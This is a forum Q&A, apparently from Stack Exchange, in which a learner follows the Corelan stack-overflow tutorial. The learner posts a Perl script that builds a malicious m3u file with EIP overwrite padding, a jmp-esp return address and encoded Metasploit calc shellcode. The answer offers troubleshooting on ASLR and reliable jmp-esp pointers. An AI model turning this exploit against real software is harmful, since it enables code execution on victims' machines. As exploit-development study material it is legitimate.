Exploit Development - Shellcode Doesn't Work?

Question

I am following corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ to reproduce the exploit.

Firstly, I found the position of EIP was after the 26089 As (at 0016F454), and the ESP was 4 characters after EIP (at 0016F45C) according to the following code:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x444444); 

my $shellcode = "\x90" x 4 ;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Results: https://i.sstatic.net/LmPG8.png

I find the pointer to jmp-esp instruction by !mona find -type instr -s "jmp esp" -x X. I use 0x7457AC5B one.

Results: https://i.sstatic.net/iUoVY.png

I carefully made everything looked working. Finalized code:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC  0x1001B058       0x7457AC5B

my $shellcode = "\x90" x 4 ;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Final results: https://i.sstatic.net/JSwKt.png

It just doesn't work! I believe that my EIP and position of shellcode are correct, so the problem might be the effectiveness of the shellcode. I tried shellcodes of launching calc.exe from a different website, but none worked.

Why isn't it working? I'm using Windows 10 x64. Please guide me since I've been stuck on this for weeks, and I have scrutinized similar problems' articles on the web. I've really got no idea.

Thanks in advance.

Answer 1

• Target OS:
  Watch out! ==> ASLR!!!
  In the tutorial, the target seems to be "Windows XP SP3 (En)", and he tested on a "Windows XP [Version 5.1.2600]".
  In the comments, there's a positive feedback of the procedure working on "Win7 Prof Ver 6.1.7600 English" with ASLR, even after reboot. And you are testing on Windows 10, obviously with ASLR.
  
• Reliability across Windows platforms:
  I confirm! You have indeed control over the EIP 0016F454 (we see "DDDD"), ESP points at 0016F45C(shellcode).
  Did you try different instructions? (jmp,call, or push-ret).
  You used 0x7457AC5B ==> "jmp-esp" in cfgmgr32.dll.
  Did you try 0x035bf23a ==> "jmp-esp" in MSRMCcodec02.dll?
  
• Try to find reliable pointers:
  pvefindaddr j -r esp -n -o (Immunity Debugger or anything). And it's always better to avoid "SafeSEH" and "ASLR".